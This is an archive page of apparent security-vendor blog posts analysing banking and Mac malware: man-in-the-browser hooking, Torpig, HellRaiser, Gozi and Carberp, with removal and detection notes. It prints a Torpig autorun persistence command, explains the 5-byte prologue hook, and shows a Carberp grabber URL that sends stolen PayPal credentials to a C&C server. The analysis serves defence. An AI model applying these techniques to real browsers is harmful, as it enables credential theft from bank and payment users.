Category Archives: Malware

Malware related posts

in-depth report, Malware

Man-In-The-Browser 101 or “it works as designed” (Win & Apple Mac)

Leave a comment

1 Executive Summary

Everybody is talking about Man-In-The-Browser (MITB), so I thought we’d do a little 101 session on how these Man-In-The-Browser Trojans work. As there is way too much focus on the big guns such as Zeus/SpyEye out there, I thought we’d use one of the less known Trojans as an example and even discuss the implications on Mac OS X as well.

While the exact details are different, Man-In-The-Browser threats are also valid on Apple’s OSes (on iOS, sand-boxing and signing makes things pretty difficult, theoretically not impossible, and a lot easier if the device is jail-broken).

2 Introduction

For this paper, we’ll use a sample with MD5 of 3618ff28e3c0d48a09dbae5b5b42585a which seems like a new variant of BankPath/Multibanker trojan. It has a Virustotal detection of 9/43 (20.9%) – http://www.virustotal.com/file-scan/report.html?id=5fc899cbaa6e22aa8bbffb43bee778c7e6d4ad07597a14d5e280719941e33270-1306853690

While we looked at a Bankpatch Trojan in very much detail in an earlier post (http://www.trustdefender.com/trustdefender-labs-blog-banking-malware-bankpatchc-shows-that-the-bad-guys-are-extremely-innovative.html), this one seems to be different and we only want to focus on the MITB features as a part of the broader MITB discussion.

Man-In-The-Browser threats are malware that operate within your browser and have full access to the current Internet session and can change the web-page, add content, remove content, steal information and much more. Please note that it doesn’t matter whether the site is using SSL (or even EV-SSL) as the malware gets access to the content before its encrypted.

3 How does MITB work?

3.1 Windows

Now let’s have a look how all major Trojans do this at the example of Bankpatch and Internet Explorer. When the Internet Explorer opens a connection to the Internet, it will call a function named “InternetConnect” which resides within the wininet.dll module that every Windows installation has.

This is illustrated below:

MITB Trojans will now just “hook” into this first call between the Internet Explorer Application and the Windows System, so that the Trojan get full control over everything that is transmitted in this “call”.

3.2 Mac OS/X

But what about Mac OS X? As mentioned earlier the details are a little different, but the result is same. If a web browser is using the system API to manage its Internet connections, then malware simply needs to hook CFReadStreamOpen(), CFReadStreamRead() or CFReadStreamWrite()  in a similar way to the one described above.

3.3 Hooking

On a high level, it looks now as follows

 

On Windows, we will be able to accomplish this with just a change of 5 bytes in the Internet Explorer process! wow.

On Mac OS X we could take advantage of the lazy linking system used for resolving external symbols, and simple overwrite the resolved address with one of our own. So it would only take 4 bytes on Mac OS X (simply the address we want to call inserted into the appropriate location). This could be done either before or after the symbol resolution has occurred.

The interesting thing is that this is very easy to accomplish, so let’s have a look what Bankpatch is doing:

On a good system, a call to “InternetConnect” will go to the following location

 

Don’t be scared at the technical details, most of the info is not relevant, but what’s relevant is that the first three lines are always the same for every single function and is called “prologue”. An obvious question is why do we need this prologue?

3.3.1 Works as designed

And you can believe this or not, but this prologue was designed to enable “hot-patching” (see Microsoft http://blogs.msdn.com/b/ishai/archive/2004/06/24/165143.aspx). Wait a sec… hot patching??? You heard right… The first two bytes are not needed at all, but it is designed to allow a redirection of this function.

Can someone repeat this for me??? Man-In-The-Browser by design from Microsoft??? wow.

That’s pretty much what it is.

In order to “hook” into this call, the malware needs to do two things.

  • Firstly it needs to jump to its own codebase so that the malicious code is executed.
  • Secondly it needs to make sure that the original code is called (otherwise no internet connection would be established) as well.

 

The first part can be accomplished with 5 bytes (a JUMP instruction + 4 bytes address). As the prologue (that is not really needed) is exactly 5 bytes long, the malware can just overwrite the prolog and everything is fine… That’s convenient and easy.  The picture isn’t much different on Mac OS X. We just need to overwrite the address of the destination function (say CFReadStreamOpen) in the target executable look up table.

3.4 Let’s put this all together

Let’s see how Bankpatch uses these first 5 bytes to get access to the full internet traffic

 

So instead of the normal prologue, there is an unconditional jump (jmp 009b841f) basically telling the CPU to execute the Bankpatch code whenever InternetConnect is called. After Bankpatch does its work, it will then obviously call the original function so that the internet connection is established.

That wasn’t too hard, was it?

3.5 Mitigation approaches

If we replace the original prologue, then Bankpatch will not do any harm anymore. On Mac OS X, we can simply force the dynamic linker to look up the correct symbol again. Problem solved… without knowing any details, … Without any blacklist, heuristics, … Straight and simple…

Well, in reality its not so simple as the Trojan can just change those few bytes again and restore the hook, but we hoped to shed some light on how MITB Trojans do their dirty work, regardless of platform.

To make matters worse, signed binaries don’t help here either. On Windows, only the disk image is signed and once the file is loaded into memory, anyone can make any changes to it as there is no signature to the memory image.

On Mac OS X, lazy symbol resolution is part of the OS design and unavoidable.

4 Conclusion

As you can see the actual hooking of the browser isn’t a major hurdle and can be done easily. What is obviously more interesting is what Trojans do once the hooking has been done. This is where the MITB malware configuration comes into play with its bank-specific definitions and different behaviours depending on a particular situation. We have covered real-world examples in a number of other post re Zeus, Carberp, Gozi, etc.

The thing that is more amazing is actually that every single MITB Trojan uses these kind of hooking techniques, but hardly any Antivirus Engines or Security Suites look at these things.

Of course the TrustDefender Forensics Engine does.

Malware

Is Twitter the next big malware distribution mechanism?

Leave a comment

There is no question about the success of twitter, but the real-time nature of twitter brings some interesting security challenges to the surface.

First of all, many tweets contain shortened links where it is unclear what the “real” destination address is. You have no idea where you end up. There are countless examples where just the mere visit of a page leads to infection. In fact all exploit kits are designed to do so. One example is here: http://isc.sans.org/diary/Hit+by+MacDefender+Apple+Web+Security+name+your+Mac+FakeAV+here+/11053

The other problem is obviously the social problem. You follow someone on twitter because you are interested what they have to say (well that’s not really true, but anyway). So if they share a link, the click-through rate is pretty high. This in addition with the inability to determine where a link ends up with is a recipe  for disaster.

Which brings me to the main point: The main security mechanism employed here is trust. I know the person I’m following and therefore I trust him/her and therefore any links are trusted as well. Seriously, what can go wrong?

The problem is that this opens up a whole new dimension of malware distribution. Typical ways are email (spam), drive-by-downloads, providing infected serial key generators to software that people are desperate not to buy a software they use, search-engine-poisoning, just to name a few. But all these are insignificant if I could manage to provide a malicious link (that nobody would detect as such) to millions of followers on twitter.

What would be the options?

  • The hard way would be to start tweeting up until you have enough followers.
  • It’s much easier to just compromize someone’s account and send a link to a malware (in shortened version obviously)
  • You don’t even need to compromise an account at all!.
    • Just start a fake story about someone and let him retweet (happened to Rafinha Bastos who send a link to a fake story about his death to his 2.4 million followers) – using a short URL service. The redirected site was down as it showed obvious signed of fraudulent behaviour.
  • And of course LulzSec has apparently distributed a malicious program in their farewall message to its over 200,000 followers.

Additionally Twitter is the new way of distributing things in an insanely fast way that shouldn’t be accessible at all. For example, the source code for the notorious Zeus trojan was made public through Twitter.

So coming back to the main point of this blog. Twitter has to battle with 200 million tweets a day and can obviously not check every single link to see whether it is genuine. I trust they tell us that security is important, but every tweet is important to them in terms of growth. The short URL link providers obviously do what they can do (I tweeted about a recent phishing page they detected nicely here: http://twitpic.com/5i52g9). But they can obviously only block something they know is bad.

Trust is not and doesn’t work as a security measure.

Twitter uses a simple username/password authentication method that is convenient but broken. With the upcoming integration of twitter into iPhones and iPads, is this still enough? How many valid twitter logins were in the millions of username/passwords that were exposed in the last couple of weeks?

So be careful what links you click (always – not just in twitter).

in-depth report, Malware

Torpig – back to the future or how the most sophisticated trojan in 2008 reinvents itself

Leave a comment

1         Executive Summary

We have seen many different examples how improvements in the security landscape have forced the bad guys to change tactics and achieve their results via different, potentially less useful, methods.

A prime example is the introduction of UAC in Windows 7 together with the default user not running as administrator. This poses a tricky question for malware developers: Do I ask for elevation (UAC) and risk that users get suspicious, or do I do whatever I can without administration privileges?

Well the answer has been given. We’ve analysed Zeus before and Zeus will not bring up the UAC and will only infect the currently logged in user.

In this TrustDefender Labs report we look at a new strain of the notorious Torpig Trojan that gained massive publicity in 2008 when it was distributed together with the Mebroot / MBR virus. In this report we look at a new variant that will do an impressive amount of things completely without administrator privileges.

On a positive note, the lack of privileges restricts the trojan’s ability to hide itself deep in the system and is much easier to detect and remove.

2         Introduction

Torpig was basically the Zeus Trojan of 2008, as it was deployed as part of the Mebroot deployment vector. Its impressive feature list made it the Trojan of choice at that time.

We’ve covered Mebroot/Torpig back in 2008/2009; more details are on the TrustDefender blog here and here.

In the last few months, more and more Torpig Trojans appeared without the Mebroot component.  It was pretty obvious that this was done to make Torpig work on newer operating systems such as Windows Vista and Windows 7 where the introduction of UAC and the removal of the admin-rights for the default user forced the Trojan writers to adapt.

Unfortunately these security improvements didn’t make the problem disappear; it only made their job harder.

So in essence, Torpig is still very impressive with the following features:

  • Works perfectly fine in Windows 7
  • No UAC
  • Everything runs from usermode
  • Browser hooking works nicely
  • HTML web injection works like a treat
  • Completely silent

 

However:

  • It doesn’t feature any self-defences at all
  • Torpig is visible as a process in task manager
    • E.g. rundll32.exe C:\DOCUME~1\support\LOCALS~1\Temp\1.tmp,_IWMPEvents
    • Only current user is infected, not the whole machine
    • If you kill that process, Torpig is disabled
    • If you remove that file, Torpig is gone
    • Other side effects:  If IE runs as a separate user, Torpig will not be able to inject its HTML code anymore!

Other Trojans went down the same path. For Zeus 2+, the situation for example is as follows:

  • No UAC appears
  • Zeus runs as current logged in user
  • Browser hooking still possible

BUT Zeus is also easily detectable, easily removable, and has almost no self-defences.

From Zeus 2.0.9.8 manual:

So let’s look at Torpig a bit more in detail as it employs a number of interesting techniques that are very similar, but also different to the Zeus/Spyeye/Gozi/Carberp’s of the world.

One of the main differentiating factors is how the HTML injection mechanism works, and obviously HTML injection is used quite heavily to attack bank websites.

Another interesting observation is that Torpig will hijack search results (e.g. Google) and most likely perform Clickjacking. This is something we noticed with Carberp as well and we believe that there is so much money to be made with this, it too important not to do it.

3         Installation

We looked mainly at the Torpig sample with MD5 of 70675a7053ae38adb77d70a056956684.

It was first seen on April 10, 2011.

3.1       C&C DNS generation algorithm

One interesting fact is that while we installed the Trojan on April 10, even 2 months later it still successfully finds responding C&C servers that are up-and-running!

It achieves this by using an algorithm where Torpig will generate new domains daily to connect to on its quest to get access to a C&C server.

The fact that after 2 months our Torpig Trojan still finds responsive C&C servers says a lot about our current efforts in disrupting this infrastructure!

3.2       System modifications

As mentioned in the introduction, the main purpose of the Torpig Trojan is to also infect Windows Vista/7 machines, so even though we installed the Trojan on a Windows XP SP3 machine with full admin rights, the payload does exactly the same thing as if it was running as non-administrator. With one exception as it will add itself to the global Autostart registry to infect all users and not just the current one.

After the initial binary is executed, it will drop a DLL into the user’s temp directory and add the following command to the Autorun registry (only to HKCU – Current User):

rundll32.exe C:\DOCUME~1\support\LOCALS~1\Temp\1.tmp,_IWMPEvents

The interesting part is that they could have developed this as an executable, but then the Zeus executable would show up in the task manager. Using rundll32.exe (which is a legitimate Microsoft component) it can “hide” behind it.

The command above means that the system will load the 1.tmp DLL file and invokes a function call to the function _IWMPEvents.

3.2.1       It tries to infect the whole system, if possible

Even though the payload only affects the current user, Torpig will actually drop another DLL and tries to load this into the process with admin rights, if possible.

That means that if your user has administrator rights, all (!) users will be infected. If the user doesn’t have admin rights, only the current user is infected.

This is the Autorun in HKLM (Local Machine):

3.3       Code injection into other processes

As part of the installation, Torpig will inject executable code into other (system) components. Most notably into “explorer.exe”, which is a process that runs in the user’s context (no admin rights needed). Torpig did the same thing quite heavily before as well (back in 2008).

3.3.1       Basic user-mode rootkit techniques

Torpig will employ some very basic usermode rootkit techniques, such as very limited file hiding techniques. For example, the Torpig code within the explorer.exe process will create a temporary file:

The file is hidden in the file system with a hooking of FindFirstFile/FindNextFile and won’t be visible in the Windows explorer. However the “old” tab-completion trick still works (just open a command prompt and let the tab auto-complete the filename).

3.3.2       Named pipe !mscom$

In the “old” days back in 2008, Mebroot and Torpig used named pipes quite extensively to enable the various components to communicate.

It almost surprised us to see that one of the named pipes is exactly the same (\\\\.\\pipe\\!mscom$). Also the protocol used for the communication is still the same with some extensions. Chapter 8 (Appendix A) is dedicated to the named pipe communication.

3.3.3       32 bit vs 64 bit

Torpig successfully installed and operated on 32 bit systems.  It successfully installed on 64 bit systems as well, but it didn’t initialize properly (e.g., the named pipe !mscom$ wasn’t created).

However the DLL’s were dropped and loaded with rundll32.exe in almost exactly the same way.

3.4       Operating System / Brower compatibility

We tested various browsers and according to its technical capabilities, Torpig will work with Internet Explorer and Firefox. We see here the same improvements that we have seen with almost all other Trojans – that Torpig enhanced itself to work on Firefox due to its increased popularity.

However not all browser / OS seem to work.  Here is the matrix:

  • Windows XP, Vista, 32 bit
    • Worked fine with IE 7,8
    • Worked fine with Firefox 3.5 and 3.6. Didn’t work with Firefox 4 (!)
    • Windows 7, 32 bit
      • Didn’t work with IE 8 (!)
      • Worked fine with Firefox 3.5 and 3.6. Didn’t work with Firefox 4 (!)
      • Windows 7, 64 bit
        • Didn’t work at all. Not even the named pipe was created

3.5       Logical components

Torpig is made up of two main logical components.

The web browser code communicates with the explorer.exe code via the named pipe. The internet request then (e.g. to the C&C server) will be done from the explorer.exe process.

Note: It is pretty obvious that the fact that the internet requests are done by the explorer.exe process has numerous advantages. First of all, no browser plugins can see the traffic (as the traffic doesn’t occur in the browser), but also local firewalls and security solutions will not see anything.

3.6       C&C server communication

The C&C server communication is encrypted with a custom encryption mechanism and it looks pretty much unchanged from the one used before (described here: http://www.f-secure.com/weblog/archives/vb2008_kasslin_florio.pdf).

3.6.1       HTTPS Certificate

The requests to the C&C server are encrypted with SSL and a self-signed HTTPS certificate is used. This is possible due to the fact that the explorer.exe does the communication and “only” the content is then injected directly into the web browser’s process. So the web browser itself doesn’t even see any reference to the C&C server!

The following HTTPS certificate was used for the communication.

The “Valid from” date of 13 September 2010 surprised us a little bit as it is quite “old”…

3.6.2       The use of Geographic IP lookup

It seems that the C&C server quite heavily uses geo IP lookups to determine what should happen and whether a system should be infected or not. We successfully infected a machine in Australia, while we haven’t had such “luck” in the UK or Germany.

4         HTML content injection (MITB)

4.1       Browser hooking

Torpig uses the same mechanism as everybody else to hook the web browser process.

By hooking these functions, Torpig can get full control of the web browser traffic and can change whatever it wants. Please note that this also applies to HTTPS (EV-SSL) traffic.

4.2       Approach

Before we go into too much detail of how it works, let’s have a look at how Torpig uses the HTML content injection (Man-In-The-Browser).

First let’s be clear what we’re talking about. These instances below are examples of one particular configuration file of Torpig. All the examples we saw used a different approach for the HTML content injection than what we have seen in most Zeus/Spyeye configuration files.

This particular sample will not show anything suspicious before the user actually provides his authentication credentials (including 2-Factor-Authentication code). Before this information is sent to the “real” banking server, Torpig will inject additional form fields to steal more data complementary to the stolen login credentials.

So in this sense, Torpig doesn’t even attack the authentication system as such, but rides at the back of the existing session.

After all the provided information is collected and sent to the C&C server, Torpig “simulates” a correct login by using JavaScript to POST the login information to the login server

4.2.1       Identity theft (MITB) examples

In this section we provide screenshots to various banking sites. The target list for the Torpig trojan can be found in the Appendix and in no way is this list exhaustive

After logging in (with a fake account), the following screen appears:

Torpig’s configuration file checked every single entry to make sure it is correct. For example, it will check with Luhn’s algorithm whether the credit card number is actually a valid number!

While in most cases, we have seen “just” one additional page injected; we also came across an example where multiple pages will be injected.

First, they ask for Card related info:

Then query identity related info:

Ok, so how does this work in detail?

4.3       HTML injection details

This 10 page section is only available in the full indepth report. Please request one from labs@trustdefender.com

4.3.1       Curiosities

This section is only available in the full indepth report. Please request one from labs@trustdefender.com

4.3.2       Flaws in the system

This section is only available in the full indepth report. Please request one from labs@trustdefender.com

4.4       Conclusion

This section is only available in the full indepth report. Please request one from labs@trustdefender.com

5         Hijacks search results (Clickjacking)

A more and more popular feature even for transactional banking Trojans are the hijacking of search results.

Let’s assume you search for “Porsche 911” in Google.

Clicking on the first link (which should get us to Wikipedia) will send us to the following page:

Oops??

Another example: Searching for “Get Firefox 3.6” leads us to the following page…

Doesn’t look too good, that result page.

Another example:  (check out the link in the status bar that will be invoked when clicking on the first hit)

6         Removal

Torpig can be fully removed by deleting the two files from the Autorun registry that are referenced from the following two locations:

  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, and
  • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Be sure to delete the right entry; in our case it was the entry with the rundll32.exe that references a .tmp file in a temp directory (Caution: be sure to know what you do in the registry editor as mis-usage could result.)

rundll32.exe C:\DOCUME~1\support\LOCALS~1\Temp\1.tmp,_IWMPEvents

Simply remove the two entries and delete the files from the hard drive.

Reboot the computer and you are clean.

7         TrustDefender

7.1       TDpro

Torpig uses the “usual” techniques to hook into the browser process. In addition to the code injection (executable and HTML) to the various components, one unique feature of Torpig is that the communication to the C&C server is done from the explorer.exe process. So even if there is a browser plugin or firewall checking all internet requests from the web browser, there is nothing to look at.

TrustDefender fully detects and protects users and enterprises from this threat, both on a process level (code injection), but also from the TCP/IP level (Secure Lockdown).

Below are a couple of screenshots from a walkthrough with TrustDefender with a demo site.

First it detects the malware.

And then the “Safe & Secure” mode will fully protect against it.

7.2       TDzero

As TrustDefender Zero utilizes our patent-pending page fingerprinting approach, it will detect the modifications to the page and therefore provide the financial institutions an early-detection system that doesn’t rely on blacklists, heuristics, updates or any downloads… It is completely transparent and an effective tool to protect against Man-In-The-Browser attacks of all sorts.

8         Appendix A: named pipe communication

This section is only available in the full indepth report. Please request one from labs@trustdefender.com

8.1       Static target list output (same tool we used back in 2008)

This section is only available in the full indepth report. Please request one from labs@trustdefender.com

8.2       Dynamic communication

This section is only available in the full indepth report. Please request one from labs@trustdefender.com

9         Appendix B: attached information to download

This section is only available in the full indepth report. Please request one from labs@trustdefender.com

 

 

Malware

Apple Mac OSX and Malware – Myth vs Reality

Leave a comment

1 EXECUTIVE SUMMARY

There has been much debate on whether Apple’s Mac OS X operating system is more secure by design or have taken advantage of security through obscurity, as Macs have traditionally had much lower penetration into the market than Windows based systems.
However, as Apple has enjoyed rapidly growing success over the past few years, not only with its iPhones and iPads but with also the growing popularity of Macs and Mac OS X, it comes as no surprise to see security companies predict that attacks on Apple’s systems and its users will also start increasing dramatically.
While ‘Security’ seems to be a competitive advantage, Apple has realised that some dedicated malware defences are needed via cloud web security, so it shipped an ‘Anti-Malware’ component with its Mac OS X updates. In June 2010, 3 (three) malware programs were on the list (link). When we checked in March 2011, there were still three!
Recently, Sophos made waves announcing a new “backdoor Trojan” for the Mac OS X platform, (http://nakedsecurity.sophos.com/2011/02/26/mac-os-x-backdoor-trojan-now-in-beta/). Although this Trojan (called Black Hole) is very new, it is not in a state that poses any threat, and doesn’t provide much for us to look at yet in an in-depth report.
Given that, we thought this a perfect opportunity to look at an existing piece of Mac malware known as HellRaiser 4.2, chosen because it is detected by Apple’s anti-malware defences, unlike ”Black Hole”. Using HellRaiser 4.2 lets us see how Apple’s defences work, so we can test their effectiveness and discover their limitations.
There is very little public information on the technical details of Mac OS X’s anti-malware feature, even in their animation tutorial videos, however, we will provide some technical details here. Furthermore after testing Apple’s anti-malware defences, you might have guessed that we found several ways around the built-in protection within just a few hours.
At ‘TrustDefender Labs’, we typically look at the most sophisticated Trojans available. While ongoing research on the latest malware Trojans has led us to have very high expectations on the levels of sophistication now seen in advanced malware, the Mac OS X HellRaiser 4.2 Trojan left us quite disappointed by being a relatively simple Trojan that, despite some “clever” features, doesn’t look like it was written by professionals.
Even though the Mac OS X malware industry is still in its infancy, the whole situation provides cause for concern going forward, especially as many of Apple’s end-users aren’t accustomed to treating malware as a serious security risk given Apple’s legacy as safe technology that’s easy to use and master, with historically miniscule and harmless malware threats compared with the barrage of malware, viruses and Trojans that Windows users have been subjected to for years. Introduction – Mac OS X and Malware
Apple and malware are two words that aren’t commonly spoken together. However, this is set to change in a big way in the near future. While Mac OS X only holds a relatively small percentage of the desktop market, its close smartphone and tablet cousin iOS is in the hands (literally!) of millions of people. This is a tempting target that  will see increasingly sophisticated and successful attempts at exploitation.
For all doubters, Apple has just released iOS 4.3, a massive update to iOS where Apple patched a stunning 49 (!) security vulnerabilities. Apple notes that these vulnerabilities “may lead to an unexpected application termination or arbitrary code execution”, which in plain English means having your device owned. The full list is available at Apple’s support site http://support.apple.com/kb/HT4564. It’s important to note that these vulnerabilities left iOS users unprotected until a new version of iOS was released, as opposed to having updates released on a much more timely cycle.
To give you an idea of the seriousness of unpatched vulnerabilities, we only need to look at one of the most targeted attacks on Windows operating systems and applications – Stuxnet.
The perpetrators behind Stuxnet exploited seven different zero-day attacks, developing highly successful and highly targeted malicious software to break into what would otherwise be highly secure installations. They went to incredible lengths to accomplish what they wanted. Do you think Stuxnet would have been less successful if the Siemens SCADA machines were controlled by Apple Macs?
This is the reality that we have to face in the future: there are inherent risks with what we do, regardless of the operating systems we use.
The trick is how you deal with the risk and whether you can manage the risks. This is the purpose of this TrustDefender Labs report, which looks at Apple’s built-in malware defences.

1.1 HELLRAISER

One of the existing pieces of malware on Mac OS X is HellRaiser 4.2. As we wanted to test Apple’s built-in protection, we needed to look at a Trojan that Apple already provides protection against, with HellRaiser 4.2 fitting the bill. We’ll look at it in this section a bit in more detail and will then look at Mac OS X’s defences.
Hellraiser is actually about 12 months old, with Virus Total reporting just over a 50% hit rate, so this Mac OS X Trojan isn’t new or unknown by any stretch of the imagination. However, we figured it’s still interesting to investigate, both in terms of what is capable of, and, more interestingly, what Apple is doing to protect against these kinds of things.
First up, let’s just see what happens if we run it:
Well, that’s a good start. It looks like Apple’s built in protection detects it!
However, let’s put that aside for a moment, and have a quick look at this malware. It’s not new, and seems pretty rudimentary, but offers a few clever features. HellRaiser is a Remote Administration Tool (RAT). The goal is to get the server running on a target system by whatever means necessary (i.e. social engineering), and then be able to connect to it from the RAT client.
Configuration is straightforward:
Once configured, installed and running on the target system, the server will email or FTP its local IP address and port to the specified host. From here, the cyber criminal can connect using the client software:

1.2 HELLRAISER PROTOCOL

As you can see from the last image in the previous section, the HellRaiser client exposes quite a bit of functionality. The server and client communicate via a protocol that appears to be roughly plain text, albeit turned into hex and base64 encoded. For example, if we use the “tell” function to create a message on the target system, Wireshark reports the following message on the main control port:
5655784a56446f7848314e46546b51634d446b784d5455324e69353661584146486a4d344e6830354e7a6b3044516f3d
We can convert this into something a little more useful:
The information circled in red above shows that, over a data port, a zipped file is sent that contains a file named 0911566 which contains our message.

1.3 HELLRAISER LIMITATIONS

For the most part, HellRaiser works but has some quite serious limitations. Firstly, the software is somewhat buggy:
Secondly, given it waits for a client to attach to the server, any form of NAT or firewall will stop it.  Apple’s built in firewall stops the connection, as will most routers that perform some kind of Network Address Translation (NAT).

2 APPLE’S ANSWER: FILE QUARANTINE

So, that’s what the cybercriminal is attempting. Now let’s look at what Apple’s OS X security experts are doing to protect us.  When a file is downloaded via Safari (or, indeed, any application that has “LSFileQuarantineEnabled” set to true), it is flagged with an extended attribute “com.apple.quaratine”. This contains some information about how the file was acquired, specifically the timestamp, application name, and the bundle identifier.
For example:
com.apple.quarantine: 0000;4d7468de;Googlex20Chrome;66B1A56C-4296-420D-A895-48DEA91D76F4|com.google.Chrome
When a file that has been downloaded is executed, “LaunchServices” will see this flag and prompt the user the first time the application is launched.

3 XPROTECT

Only once a file is marked quarantined does Mac OS X’s built-in malware protection kick in. There is no official statement as to what this is called, so we and others in the security industry are calling it XProtect, after the name of the definition file. XProtect is configured and updated by a standard plist file, which is a human-readable XML file format, containing a blacklist signature database that all users of Internet security and anti-virus software on Windows systems are well aware of.
Looking in the malware definition list (XProtect.plist), we can see a few entries for HellRaiser:
This is a really useful protective feature out of the box, and as long as the OS is kept up-to- date, Mac OS X users get some level of protection. On the downside, this list is updated relatively infrequently, at least when compared to anti-virus engines. Some anti-virus vendors claim hourly or even more frequent updates, while Apple’s anti-malware definitions are fairly static. Currently only three malware types are part of the list.
Once the amount of malware targeting Mac OS X increases, Apple’s infrequent updating may prove to be insufficient, and it’s obviously no help against zero-day, click-jacking or session based trojans.

3.1 XPROTECT IN DETAIL

Please refer to the indepth report

4 THE GOOD

Please refer to the indepth report

5 THE BAD

Please refer to the indepth report

5.1 WHAT PROGRAMS HAVE LSFILEQUARANTINEENABLED SET?

Based on average systems, it appears all common web browsers and email clients do have this set, either in the applications plist or in the system-wide “Exception.plist”, however, IM and, worryingly, P2P programs tend not to. Apple’s own programs are usually well behaved. Both Mail and iChat will create quarantined files.
The trouble though is that Instant Messanger and especially P2P programs are designed to exchange files. That is actually their whole purpose!
You can have Mac OS X up to date, but if you download a Mac OS X targeting Trojan with your torrent network, XProtect will not protect you! And downloading files is the only reason why people use torrent clients obviously.
If some malware does manage to run on a system, it can freely download and execute whatever it likes with no interruption from the OS.

5.2 SOME ATTACK VECTORS

Please refer to the indepth report

5.3 PERFORMANCE CONSIDERATIONS

The question of performance is also interesting.
“The number of new malicious programs detected during the year was approximately 13 million” – Kapersky, 2010
While the model of only running a scan on files flagged for quarantine means the performance impact should only hit on the first run of a downloaded application, the question of performance and scalability has to be asked. If the situation on Windows is anything to go by, Apple may have to deal with very large numbers.
Currently, “XProtect.plist” only has three different groups of malware. If we include variants we might be generous and say it detects 50 different strains. What happens if this number is increased?
I added 10,000 entries, each with a pattern match field to “XProtect.plist”, and it added about 7 seconds (!) to the time it took to launch a file flagged for quarantine that didn’t match any rule. This last clause is important, because “CoreServices” is smart enough to stop searching as soon as it finds a match. So the extra size didn’t make finding malware early in the list any slower.
This, in effect, means that non-malware faces an aggravating time penalty if the “XProtect.plist” gets too large.

6 CONCLUSION

It will be of no surprise to anyone reading this document that the idea of Mac OS X having perfect security is a complete myth. There is, however, a grain of truth in the idea that there is no malware on Mac OS X, albeit a small grain that is shrinking rapidly! As it stands today, there isn’t much malware that we can find.
That RATs (Remote Administration Tools) such as Sophos’s recently discovered Black Hole and HellRaiser get publicity says something about the current quantity and state of malware on Mac OS X. However, this shouldn’t be an excuse for Mac users to be lulled into a false sense of security. The malware is out there, and it’s growing both in terms of numbers and sophistication.
Apple is being proactive and introducing OS level security. It’s flawed security that is currently pretty flimsy, but nonetheless, it’s a (small) step in the right direction. It’s going to be interesting to see the direction Apple chooses from here.
iOS will only run signed binaries, so this type of protection is less important for that OS. Will XProtect get improved? Or will Mac OS X get locked down and only run signed binaries? And, how long will it be until there is a serious outbreak of malware on Apple’s platforms?

 

Malware

Gozi is back

Leave a comment

Gozi is back… sophisticated Man-In-The-Browser Trojan with extensive HTML injection configuration file

After some silence, Gozi is back virtually unchanged to the last outbreak in November last year. The target list is almost identical to the variant we analyzed then.

For more information about Gozi, please refer to our in-depth report from November 2010 as all technical details are still valid.

Also the injected HTML (Man-In-The-Browser) is very similar to the one we analyzed before, however there are obviously new C&C servers and as the injected JAVASCRIPT Code runs within the banking website, all C&C servers need to have a valid SSL certificate as well.

The one we looked at was issued on February 10, 2011 (!)

Technically there is nothing new to report, which is good and bad at the same time. The good news is that our report from November 2010 is still fully accurate, the bad news is that this most probably means that the bad guys don’t need to innovate as they are successful enough with the current status-quo.

If you need more information, the decrypted configuration file, samples, … drop us an email here: labs@trustdefender.com.

 

Malware

Man-in-the-browser: The power of JavaScript at the example of Carberp

Leave a comment

Carberp hit the scene with a big bang last month targeting financial institutions with transactional two factor authentication schemes and we looked at what Carberp does to an infected system in a previous in-depth report.

Today’s Trojans are normally “just” an enabler for some sophisticated HTML and JavaScript injection into a bank website that is being targeted. The Trojan provides this Man-In-The-Browser capability and the configuration file defines exactly what happens. This is where the real damage is done. In that sense, Carberp follows the same principle as all other transactional Trojans such as Zeus, Gozi, Spyeye, Silon, etc.

While the HTML injection has been fairly static in the past (e.g. an additional ATM Pin input field), the sophistication of the injected JavaScript for Carberp is simply stunning.

Not long after the initial wave of Carberp, we came across another Carberp variant that had a nice small configuration file and as such provided us with the perfect opportunity to showcase Carberp’ s configuration system, how the website injection mechanism works and a few of the most impressing snippets of JavaScript code that was being used.

Credits go to Alex Shipp who reversed engineered some samples including the configuration mechanism. His article can be seen here: http://www.trustdefender.com/trustdefender-labs-blog-carberp-tricks-and-traps-a-technical-overview.html

1 INTRODUCTION

For this report, we looked at two Carberp samples

  • MD5 54f9f6dd8fbbd40ff61ed66fc9a0ac4f which was seen on Nov 15.
  • MD5 2b36b49baec741ba8e82ae32dca19906 which was seen on Dec 1.

As we regularly experience, antivirus detection is pretty bad.

As we’ll see further below, this Carberp sample behaves exactly (!) as all Carberp samples before and I have a hard time understanding why it’s so hard to detect and why it’s so hard to see that this is the Carberp Trojan.</rant>

As we have analysed the Carberp Trojan in very much detail before, we won’t go into any details of how it infects a system and how you can detect it. Please refer to our TrustDefender Labs in-depth report in October for full details.

The payload was distributed from <<REMOVED>> which is a Phoenix exploit kit and it used <<REMOVED>> as its C&C server. The name doesn’t resolve now anymore, so that’s good.

The second sample used <<REMOVED>> as C&C server. Passive DNS reveals that this is also known as <<REMOVED>> [1].

Similarly to previous Carberp Trojans, this sample will download the following plugins

  • /cfg/imp and /cfg/dknew
  • /cfg/passw.plug
  • /cfg/stopav.plug
  • /cfg/miniav.plug

However this particular sample will also download and execute a file from <<REMOVED>>. <<REMOVED>> resolved to <<REMOVED>>

As we’ll find out later, this is a fairly nasty rogue antivirus engine.

1.1 CHANGE IN TACTICS?

Does this constitute a change of tactics for the guys behind Carberp? Are they moving away from their sophisticated attacks on banking websites to generating revenue from Rogue AV engines?

The way they’ll scam for their business, it seems absolutely plausible that they’ll generate a huge amount of revenue through selling rogue AV engines.

2 THE CONFIGURATION FILE

The downloaded /cfg/imp file is the configuration file for this variant and surprisingly this configuration file is really nice and simple and as such it provides a good opportunity to illustrate how Carberp works.

As we know from the last report, Carberp has full control over any HTTP or HTTPS session (EV SSL included) and can inject any kind of additional HTML or JavaScript content into the current page.

This behaviour is nothing special and puts Carberp into the same league as Zeus, Spyeye, URLZone, etc.

The decrypted configuration file looks like this:

This configuration file basically means the following:

  • If the browser goes to any PayPal site (*paypal.com*), inject the attached script into the website, and
  • Add an !deactivated!ONEVENT event to the submit button

Now the injected JavaScript does the following:

  • It will get the email (username) and password from the page and will send these stolen details to the C&C server via https to https://<<REMOVED>>/mv/paypal.com/grabber.php?idt=%user%&name=<EMAIL>%pass=<PASS>
  • Typically browsers have a same domain security setting where no information can be leaked to other domains, but the perpetrators use a technique called ‘JSONP’ where they don’t physically send the information out, they “just” request a JavaScript from a different site with the stolen credentials as parameter! And this is allowed!!!
  • This JavaScript will be called when the user clicks on Login and will obviously also trigger the “real” login to PayPal.

